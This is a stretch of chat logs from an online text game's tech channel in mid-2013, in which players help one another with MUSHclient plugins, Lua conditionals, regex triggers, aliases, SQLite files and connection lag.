T3/r7/2013-06-28.txt.gz:{chan ch=tech}FirstBlade Gladacus Tech: thanks,will add it as i get the chances to add the messages
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Zade Tech: gamestat 5  million mobs killed doubles
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Enchantra Tech: What is this tag for? {invmon}7,1057012058,-1,-1
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Tech: invmon
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Tech: (no "tags", just invmon")
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Enchantra Tech: Thanks :P
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Tech: it'll be used [and gagged] by any inventory management plugin
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Enchantra Tech: So I figured out the problem
T3/r7/2013-06-28.txt.gz:{chan ch=tech}FirstBlade Gladacus Tech: Inventory Monitor:P
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Enchantra Tech: I turned off AVG
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Enchantra Tech: Now, How do I get AVG to allow Mush to save?
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Tech: interesting that AVG was blocking it
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Enchantra Tech: I kinda want to turn it back on.
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Tech: Enchantra nods.
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Ayasinda Tech: what map have you installed mush?
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Tech: huh aya?
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Ayasinda Tech: nvm me. I probably was going to say something stupid again.
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Arystul Tech: anyone play Dii?
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Arystul Tech: DII
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Umbra Eutychus Tech: Are you referring to diablo 2?
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Harperon Tech: diablo 2? dota 2?
T3/r7/2013-06-28.txt.gz:{chan ch=tech}CeriQ Tech: D with numeral 2 usually means diablo 2..
T3/r7/2013-06-28.txt.gz:{chan ch=tech}CeriQ Tech: Trust me, I'm from the internet.
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Havvoc Tech: anyone knw how do use a semicolon with bbssh?
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Hanslanda Tech: err, beside just typing ;?
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Havvoc Tech: nod it don't work
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Hanslanda Tech: have you tried doubling them?
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Havvoc Tech: doubling?
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Daesilme Tech: As in ;;
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Havvoc Tech: dosent work
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Hanslanda Tech: guess you
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Hanslanda Tech: guess you'll just have to read a helpfile.
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Loreli Tech: Idk what bbssh is, but from my experience escaping a character involves putting a  or % in front of it.
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Loreli Tech: \ see, I didn't do it there. ;)
T3/r7/2013-06-28.txt.gz:{chan ch=tech}Hanslanda Tech: it's a ssh telnet client for blackberry.  It used to be midpssh, I think.
T3/r7/2013-06-28.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: so, if mushclient says there was a problem loading the plugin, see the error window for more details... what is the error window and how do you open it?
T3/r7/2013-06-29.txt.gz:{chan ch=tech}Pei Tech: is there a way to trigger on something with one word in front of the rest of the trigger but not more than one word...
T3/r7/2013-06-29.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: which client?
T3/r7/2013-06-29.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: / languge*
T3/r7/2013-06-29.txt.gz:{chan ch=tech}Pei Tech: for example i want to trigger on "Pei gossips 'hey wait a minute'" using * gossips '*'  but not on "Pei gossips 'Pei gossips 'hey wait a minute''
T3/r7/2013-06-29.txt.gz:{chan ch=tech}Pei Tech: lua, mushclient, using regexp even maybe
T3/r7/2013-06-29.txt.gz:{chan ch=tech}Pei Tech: or even a better example "Pei answers 'Pei gossips 'hey wait a minute''"
T3/r7/2013-06-29.txt.gz:{chan ch=tech}Pei Tech: dun want it to trigger on both
T3/r7/2013-06-29.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: hmm
T3/r7/2013-06-29.txt.gz:{chan ch=tech}Pei Tech: so it only looks for Pei answers and not blah blah answers
T3/r7/2013-06-29.txt.gz:{chan ch=tech}Pei Tech: or gossips
T3/r7/2013-06-29.txt.gz:{chan ch=tech}Ayasinda Tech: I think the best way for that is use GMCP based trigger
T3/r7/2013-06-29.txt.gz:{chan ch=tech}Pei Tech: eehh i'd really like to stay away from something that requires extra plugins, does gcmp require it's own plugin i forget
T3/r7/2013-06-29.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: all the gmcp plugins come with the mushclient
T3/r7/2013-06-29.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: GMCP is one way, though seems a little bit sledgehammerwalnutty. Regex using something like ^(\w+) gossips '(.+)'$ seems likely to do the trick
T3/r7/2013-06-29.txt.gz:{chan ch=tech}Pei Tech: thank you
T3/r7/2013-06-29.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You should probably learn regex before you get much deeper into this stuff, though... http://regexpal.com/ and http://www.regular-expressions.info/
T3/r7/2013-06-29.txt.gz:{chan ch=tech}Pei Tech: thanks i'll look into it
T3/r7/2013-06-29.txt.gz:{chan ch=tech}Pei Tech: hehe
T3/r7/2013-06-29.txt.gz:{chan ch=tech}Tech: Pei eep
T3/r7/2013-06-29.txt.gz:{chan ch=tech}Pei Tech: hello
T3/r7/2013-06-29.txt.gz:{chan ch=tech}TrEz Tech: photoshop is reversing the words that I type, anyone know why that might be
T3/r7/2013-06-29.txt.gz:{chan ch=tech}TrEz Tech: I type 547 431, it inputs 547 and then puts 431 in front
T3/r7/2013-06-29.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Hitting home key on accident? :P
T3/r7/2013-06-29.txt.gz:{chan ch=tech}None the Wyza Tech: right align turned on?
T3/r7/2013-06-29.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: or using a touchpad and your fingers/palm dragging?
T3/r7/2013-06-29.txt.gz:{chan ch=tech}TrEz Tech: no it's from the photoshop
T3/r7/2013-06-29.txt.gz:{chan ch=tech}TrEz Tech: the text is aligned to the right
T3/r7/2013-06-29.txt.gz:{chan ch=tech}TrEz Tech: when I press home it puts the cursor on the left
T3/r7/2013-06-29.txt.gz:{chan ch=tech}TrEz Tech: err end
T3/r7/2013-06-29.txt.gz:{chan ch=tech}TrEz Tech: no actually
T3/r7/2013-06-29.txt.gz:{chan ch=tech}Book of Etzli Tech: Seems like you have RTL instead of LTR set or something.
T3/r7/2013-06-29.txt.gz:{chan ch=tech}TrEz Tech: if 2 words, and the first is typed last
T3/r7/2013-06-29.txt.gz:{chan ch=tech}TrEz Tech: when I press End it puts the cursor before the 2nd word
T3/r7/2013-06-29.txt.gz:{chan ch=tech}TrEz Tech: but the other text is fine, just this line is gay :p
T3/r7/2013-06-29.txt.gz:{chan ch=tech}TrEz Tech: doesn't make sense
T3/r7/2013-06-29.txt.gz:{chan ch=tech}Tech: Daloran slaps TrEz.
T3/r7/2013-06-29.txt.gz:{chan ch=tech}Hanslanda Tech: delete it and start over
T3/r7/2013-06-29.txt.gz:{chan ch=tech}Book of Etzli Tech: TrEz: http://feedback.photoshop.com/photoshop_family/topics/where_is_the_text_right_to_left_button_in_the_character_window -- Does that help you out some?
T3/r7/2013-06-29.txt.gz:{chan ch=tech}Book of Etzli Tech: You may have hit the RTL button on accident.
T3/r7/2013-06-29.txt.gz:{chan ch=tech}Arnica Tech: http://helpx.adobe.com/photoshop/using/arabic-hebrew.html
T3/r7/2013-06-29.txt.gz:{chan ch=tech}TrEz Tech: oh ye
T3/r7/2013-06-29.txt.gz:{chan ch=tech}TrEz Tech: apparently that crap was clicked there in the paragraph menu
T3/r7/2013-06-29.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at TrEz.
T3/r7/2013-06-29.txt.gz:{chan ch=tech}TrEz Tech: now works like a boss, thank you
T3/r7/2013-06-29.txt.gz:{chan ch=tech}Daloran Tech: while you're at it, http://www.wikihow.com/Stop-Using-the-Word-%22Gay%22-Inappropriately
T3/r7/2013-06-29.txt.gz:{chan ch=tech}Book of Etzli Tech: Sure thing. Some people enjoy being helpful. ;)
T3/r7/2013-06-29.txt.gz:{chan ch=tech}TrEz Tech: Daloran I celebrated GLBT Pride day yesterday
T3/r7/2013-06-29.txt.gz:{chan ch=tech}Daloran Tech: And?
T3/r7/2013-06-29.txt.gz:{chan ch=tech}Pei Tech: hehe
T3/r7/2013-06-29.txt.gz:{chan ch=tech}Pei Tech: How does one go about saving and loading variables when you set them using (example SetSounds==1) when exiting the mushclient or reloading the plugin so it doesn't reset them to defaults
T3/r7/2013-06-29.txt.gz:{chan ch=tech}Pei Tech: SetSounds=1 even
T3/r7/2013-06-29.txt.gz:{chan ch=tech}Arnica Tech: You will want a more authoritative answer than mine, but I believe if you exit cleanly, variable values are preserved using a file in the plugins/state folder that you shouldn't have to worry about.
T3/r7/2013-06-29.txt.gz:{chan ch=tech}Silentscream Tech: in the area land of oz i have the scissors to cut the scarecrow down but i cant figure out the syntax to cut him down, ive been trying everything
T3/r7/2013-06-29.txt.gz:{chan ch=tech}Loreli Tech: What are you trying?
T3/r7/2013-06-29.txt.gz:{chan ch=tech}Silentscream Tech: cut rope, cut scarecrow, slice rope, scissors rope, etc.
T3/r7/2013-06-29.txt.gz:{chan ch=tech}Daloran Tech: isn't really the channel for that =o
T3/r7/2013-06-29.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: i agree but they asked on question awhile back and was met with silence
T3/r7/2013-06-29.txt.gz:{chan ch=tech}Tech: Loreli sends a tell instead. :)
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Catalana Tech: I just got a system message saying something about replay recording...what is this and how do I turn it off?
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: you turned on catchtells
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: and you want it on
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Catalana Tech: ok..thanks
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: it basically holds your tells for you until you type "replay" so they don't just scroll off the screen and you miss them.
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: help catchtell will give you more info
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Jopari Tech: on mushclient now, how do you get rid of windows you don't need?
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Nuanse Tech: ctrl-shift-p and remove plugins that create them
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Jopari Tech: thanks
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Jopari Tech: is there a way to make arrow button correspond with movement?
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Nuanse Tech: yes
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Nuanse Tech: macro
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Jopari Tech: macro?
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Voiden Tech: If you're using mushclient, you can use the numpad with numlock enabled
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Jopari Tech: no numpad
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Jopari Tech: laptop
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Jopari Tech: so how to enable macro?
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Jopari Tech: so how to enable macro?
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Jopari Tech: sorry for repitition
T3/r7/2013-06-30.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: i don't think its possible to map the arrow keys to macros in mushclient
T3/r7/2013-06-30.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: you could macro ctrl+"wads" though
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Jopari Tech: I have no idea what you just said.
T3/r7/2013-06-30.txt.gz:{chan ch=tech}WarPigs Tech: You could use a 3rd party program. But then you'd have to download and learn a 3rd party marco program.
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Nuanse Tech: he just said that it's impossible for you
T3/r7/2013-06-30.txt.gz:{chan ch=tech}[Tank] Skystar Tech: hold ctrl+shift+2 to see the marco avaible and to edite them :P
T3/r7/2013-06-30.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: actually wasd wont work either mushclient uses alt+w and alt+d
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Jopari Tech: thanks
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: use mouse movement as movement macro :P could be fun
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: A bit late, but AHK is a sweet program for macroing for any purpose
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Jopari Tech: I'll think about it
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Pei Tech: how do i do an if statement to check and see if the parameter given is a number
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Use type(param)
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Pei Tech: can you be more specific google doesn't show much on type(param)
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You could find it by googling 'lua check type' (it's the first result) - I suggest starting with http://www.lua.org/pil/contents.html
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Pei Tech: is there a way to check if a parameter given is 1-100
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Pei Tech: like if (vol=>101
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Pei Tech: or something
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Pei Tech: like if (vol=>100 i mean
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Voiden Tech: i've hardly ised lua, but could if (vol > 0 && vol < 101) work?
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Pei Tech: yes thanks
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Shue Tech: hi. is there a plugin for a miniwindow or toolbar that has buttons which i can press to cast combat spells/other macros?
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Pei Tech: how do i reset the mini windows in aardwolf my main output window has gone off screen a bit
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Pei Tech: n/m, resetaard
T3/r7/2013-06-30.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: is html5/javascript safe to use for making sound/beautiful controls related stuff> and can ipads/tablets/phone junk handle it or at least going to run it problemless in the future you think?
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Devices seem to be going webkit...
T3/r7/2013-06-30.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: googling... 
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Pei Tech: this is dumb, but how do i do an if  statement to find out if a number variable is not given
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Pei Tech: if (oof=="") then should work right
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Pei Tech: i mean like if nothing is given as a parameter
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Pei Tech: i have oof=%1
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Pei Tech: if (oof=="") then
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Pei Tech: i get unexpected symbol near if
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Arnica Tech: try oof is nil
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Pei Tech: i did
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Arnica Tech: then oof is probably undefined in your scope
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: For lua, oof == nil is identical to undefined
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Scars Tech: it appears my mapper plugin crashed - doesn't update as i move - how do i reset it?
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Scars Tech: aardclient
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Tymas Tech: are u blind?
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Scars Tech: no
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Tymas Tech: restart client?
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Scars Tech: that did it... sort of a brute force approach imo... is there not a way to reset a specific plug-in?
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Purrrrific Growltiger Tech: reinstall the plugin if you know which one it is
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Scars Tech: wouldn't that restore it to the original settings?
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Purrrrific Growltiger Tech: isn't that what you want?
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Scars Tech: no, i just wanted it to shut down / start up
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Nuanse Tech: reinstall doesnt remove database that has all the rooms for you. it only makes script start fresh...data stays
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Tech: Purrrrific Growltiger is agreeing with that Nuanse person again...
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Nuanse Tech: reinstall plugin is same as you shutting down client and starting up again
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Pei Tech: what would be the easiest way to write if variable is not a number return
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Book of Etzli Tech: if type(variable) = number then return blah end
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Book of Etzli Tech: Er...
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Book of Etzli Tech: if type(variable) ~= number then return blah end
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Pei Tech: thank you
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Book of Etzli Tech: Put number in quotes, too.
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Book of Etzli Tech: if type(variable) ~= "number" then return blah end
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Pei Tech: thanks so much
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Pei Tech: you guys are awesome do you mind if i put you in my readme file when i release this under thanks (it's for my sound pack)
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Book of Etzli Tech: Go for it. :)
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Book of Etzli Tech: And you're quite welcome.
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Pei Tech: who else helped me
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Pei Tech: i lost my scrollback buffer
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Book of Etzli Tech: Seems like Vakieh and Voiden helped, and maybe a bit of Arnica.
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Arnica Tech: Aard MUSHClient: Did I somehow gag powerup INFO messages, or are those gone now? I get all other INFO messages, including level up messages. But I don't see anyone's pup messages anymore.
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: powerups are separate from levels type info
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Arnica Tech: TY Duckbat
T3/r7/2013-06-30.txt.gz:{chan ch=tech}DarkPchan Tech: I'm curious to how your re-equip triggers work? Since the name of an item is not always a keyword I ended up just making it get all, equip all and that has worked ok but figured i'd ask how others are doing it
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Ixle Tech: bought an aard weapon and aard bracers
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Ixle Tech: and practice power grip
T3/r7/2013-06-30.txt.gz:{chan ch=tech}DarkPchan Tech: well sure, do it the easy way :P...say I still wanted a trigger though, is there a way to use the commands with the name instead of key word?
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: use invmon and item id
T3/r7/2013-06-30.txt.gz:{chan ch=tech}DarkPchan Tech: thank you, I will read the help file for that :)
T3/r7/2013-06-30.txt.gz:{chan ch=tech}DarkPchan Tech: ooo, knowing about that is going to be all sorts of useful...thanks again!
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: np it's very useful yeah, you can easily write equpment manager plugin type of stuff to auto equip appropriate eq for level (and class if you want)
T3/r7/2013-06-30.txt.gz:{chan ch=tech}DarkPchan Tech: that is what I love about this game, so many things you can do if you're creative enough...now if only I learned to program back in highschool :P...btw if you are the Duckbat who created duckbat.com (which seems obvious but assuming is bad) then just have to say YOU ROCK!
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Tech: Darkwing Duckbat :)
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Pei Tech: yeah duckbat, you're the coolest
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Pei Tech: would you explain the meaning behind 'duckbat' tho?
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Tech: Ixle pokes Darkwing Duckbat in the ribs.
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Ixle Tech: Inquiring minds want to know!
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: it's something from when i played wow
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: there are duskbats where undead starts and friend said duckbat accidently i thought it was funny and put it as my character name i guess it stuck
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Pei Tech: lol
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Pei Tech: i thought it may have meant ducking from a bat
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Ontuct Tech: and you can't change it now, you'd have to get a new logo
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Pei Tech: hehe
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: hehe yeah
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Hey there Dalila Tech: I wonder if it's evolved from Dingbat.
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Book of Etzli Tech: I totally thought duckbat was a pokemon.
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: yeah the logo is a fusion of some two pokemons, i don't really know anything about pokemons but i thought the logo looked like a duckbat
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Tech: Book of Etzli smirks.
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Ontuct Tech: but when he does have a pokemon, he also has a dos equis
T3/r7/2013-06-30.txt.gz:{chan ch=tech}None the Wyza Tech: what format is the aardwolf.db in mush?  (eg, mysql, nosql, sqlite etc)
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Daesilme Tech: sqlite
T3/r7/2013-06-30.txt.gz:{chan ch=tech}None the Wyza Tech: thanks
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Hanslanda Tech: sqlite3, I think.
T3/r7/2013-06-30.txt.gz:{chan ch=tech}None the Wyza Tech: hmm, i was hoping to open it up and browse the data via something like sqlite administrator, but i get a "cannot perform this operation on a closed dataset", i haven't spent alot of time using sqlite. (at first i thought it might be that mush had it opened and locked, but i tried closing mush and it still wouldn't open)....Thoughts?
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Daesilme Tech: Hmmm, that doesn't ring any bells.  I use SQLite Studio, and that works just fine.
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Hanslanda Tech: I don't have any trouble using SQLite Expert on the same file CMud's using.
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Jopari Tech: I cannot see the map plugin, suggestions?
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Ayasinda Tech: load it?
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Jopari Tech: already enabled
T3/r7/2013-06-30.txt.gz:{chan ch=tech}None the Wyza Tech: neat, sqlite studio works, thanks
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Daesilme Tech: NP
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Daesilme Tech: Jop, make sure it's not hiding behind another window?
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Jopari Tech: checked
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Ayasinda Tech: restart mush
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Hanslanda Tech: it's probably hiding offscreen or in a position you can't access.
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Daesilme Tech: can also try "mapper show"
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Jopari Tech: thanks, I think I'll restart
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Jopari Tech: I still cannot see it
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Daesilme Tech: Only other thing I can think of to try is "resetaard".
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Jopari Tech: done
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Jopari Tech: still not fixed, let me think
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Jopari Tech: I got nuthin
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Tech: Jopari throws back his head and howls in profound frustration!
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Jopari Tech: I absolutely give up, when I'm using something with a bigger screen I'll give it some thought.
T3/r7/2013-06-30.txt.gz:{chan ch=tech}None the Wyza Tech: is there a newline character you can use in "echo" ?
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Daesilme Tech: "\n"
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Daesilme Tech: Ex:  Note("Line 1\nLine 2")
T3/r7/2013-06-30.txt.gz:{chan ch=tech}None the Wyza Tech: i mean mudside echo
T3/r7/2013-06-30.txt.gz:{chan ch=tech}None the Wyza Tech: (for testing multiline triggers)
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Daesilme Tech: Ahhh, no, don't think so.
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Daesilme Tech: If you're using MUSHclient, you can use the Simulate() function, though.
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Saherra Tech: how do i set an alias to target anything i want. is it $1? &1?
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Vonliege Tech: "%1"
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Saherra Tech: so for the spell sleep i can 'alias sleep cast 74 $1'?
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Ayasinda Tech: no %1
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Tech: just "alias sleep cast 74", all you need
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Narhtan Tech: unless you want to be able to target a specific mob...
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Saherra Tech: oh i see. thanks.
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Tech: you can still target a specific MOB...
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Tech: then you just type "sleep guard" to target guard
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Saherra Tech: thanks. thats different to other muds ive played
T3/r7/2013-06-30.txt.gz:{chan ch=tech}None the Wyza Tech: so i'm using bast's spellup plugin.  and i added pass without trace, but when it goes to use it, it uses "pass" instead of "trace" is there a way to tell it to use trace instead?
T3/r7/2013-06-30.txt.gz:{chan ch=tech}None the Wyza Tech: -
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Raelos Tech: anyone help me out with Alias's in the MUSH client?
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Vonliege Tech: is there 
T3/r7/2013-06-30.txt.gz:{chan ch=tech}Vonliege Tech: is there a pre-set variable in Aardmush that can be used in an alias to express the clipblard data?
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Sakage Tech: i'm using mushclient but idon't have a map, help!
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Pyromaniac ElementPyros Tech: Hi there, is there anyone that could possibly give me some suggestions to fix latency issues -_- my own ISP is being completely useless as always, and google just giving me programs to lower ping.
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Pyromaniac ElementPyros Tech: My normal ping on local servers is around 33, american servers around 160-180, and european around 200-220, but current its just skyrockets to 800 and stays there.
T3/r7/2013-07-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: is 'connection reset by peer' the same thing as these annoying ' rst' packets?
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: there are no programs that lower your ping
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i have latency issues (northern europe). my isp's routing often sucks so i force my connections go through premium atlantic fibre using a ssh tunnel to my uk vps
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: shaves off ca 40ms
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Pyromaniac ElementPyros Tech: Yea but the thing is I have been playing this game over a year, and only ever had normal lag spikes, never constant high ping like that.
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Pei Tech: i have a volume command where you can type vol 1-100 or vol up or vol down so i need if type(%1) ~= "number" then (if given parameter isn't a number do the up/down check and proceed from there) and then so if it is a number it does what its supposed to, but if i give a parameter of 1blah it says compile error malformed number near 1blah on line one (which is the if statement, how would i code around this
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: type("%1") not type(%1)
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: you're probably going to want an 'assert' though instead of an ifcheck.
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Pei Tech: that's all fine and good but when it gets to if (%1==0) then i get malformed number again, and this time it has done the checks to see if it's a number now it's looking for the rest
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Pei Tech: which is where this if statement comes in
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Pei Tech: i know it's gotta be something simple
